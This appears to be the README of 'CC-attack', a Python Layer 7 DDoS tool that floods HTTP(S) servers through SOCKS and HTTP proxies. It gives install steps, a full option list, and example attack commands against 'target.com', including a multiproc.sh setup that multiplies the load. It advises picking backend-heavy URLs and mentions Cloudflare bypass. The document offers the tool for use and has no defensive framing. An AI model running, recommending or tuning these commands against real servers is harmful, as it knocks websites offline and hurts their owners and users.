/////    /////    /////////////
  CCCCC/   CCCCC/   | CC-attack |/
 CC/      CC/       |-----------|/ 
 CC/      CC/       |  Layer 7  |/ 
 CC/////  CC/////   | ddos tool |/ 
  CCCCC/   CCCCC/   |___________|/

CC-attack

A script for using socks4/5 or http proxies to attack http(s) server.

News:

• ⚠️ To have a better impact, use a link that loads something from backend to stress the server even more. IE: https://example.com/index-loader.php
• ⚠️ I do not guarantee that it can 100% do CF Bypass. If you see a lower hit, use a different proxy and a better User-Agent.
• ⚠️ Proxy checker are not truly precise yet. If you want an interrupted attack, better to check. Else, you can just use the list without checking.
• ✅ Added Support of HTTP proxies
• ✅ Updated proxy list based on rewritten script.
• ✅ Proxy checker are now fixed.
• ✅ Added more proxies.
• ✅ Added KeyboardInterrupt function to avoid terminal hang.
• ✅ Fixed Slowloris type attack.
• ✅ Removed broken proxy lists.

Info:

• ✅ Using Python3
• ✅ Added more human-like options
• ✅ Http Get/Head/Post/Slow Flood
• ✅ Random Http Header/Data
• ✅ Socks4/5 Proxies Downloader
• ✅ Socks4/5 Proxies Checker
• ✅ Customize Cookies
• ✅ Customize Post Data
• ✅ Support HTTPS
• ✅ Support Socks4/5

Showcase

Using multiproc.sh with socks4 on a vps

Attack requests from Cloudflare activity log

Install

If you only have one version of python:
git clone https://github.com/Vip3rLi0n/CC-attack.git
cd CC-attack
pip install -r requirements.txt
python cc.py -help

If you are using multiple version of python:

git clone https://github.com/Vip3rLi0n/CC-attack.git
cd CC-attack
pip3 install -r requirements.txt
python3 cc.py -help

Usage

python cc.py <arguments> / python3 cc.py <arguments>

===============  CC-attack help list  ===============
   -h/help   | showing this message
   -url      | set target url
   -m/mode   | set program mode
   -data     | set post data path (only works on post mode)
             | (Example: -data data.json)
   -cookies  | set cookies (Example: 'id:xxx;ua:xxx')
   -v        | set proxy type (4/5/http, default:5)
   -t        | set threads number (default:800)
   -f        | set proxies file (default:proxy.txt)
   -b        | enable/disable brute mode
             | Enable=1 Disable=0  (default:0)
   -s        | set attack time(default:60)
   -down     | download proxies
   -check    | check proxies
=====================================================

Some example of the usage

Download socks5 proxies as proxy.txt:

python3 cc.py -down -f proxy.txt -v 5

Attack a target with custom proxies list(socks4.txt) for 30 seconds :

python3 cc.py -url http://target.com -f socks4.txt -v 4 -s 30

Usage of multiproc.sh

This script is using for increasing the performance of cc.py.
Due to the suck performance of python since it has a GIL lock,
And I am lazy to make a multiprocess version.
There is a option for linux user to increase their performance of cc.py

This script basicly just run cc.py multiple times to make it "multi-processing"

First, put this script and cc.py in the same folder.

Then prepare the proxies list by yourself or just run "python3 cc.py -down -v 4" (-v socks version)

After that, change the number of process.

At last, change atk_cmd to your command and run the script by "bash multiproc.sh"

Example setup of multiproc.sh (-v socks version) (-s attack time)

atk_cmd="python3 cc.py -url http://target.com -v 4 -s 60"

#number of process that you want
process=10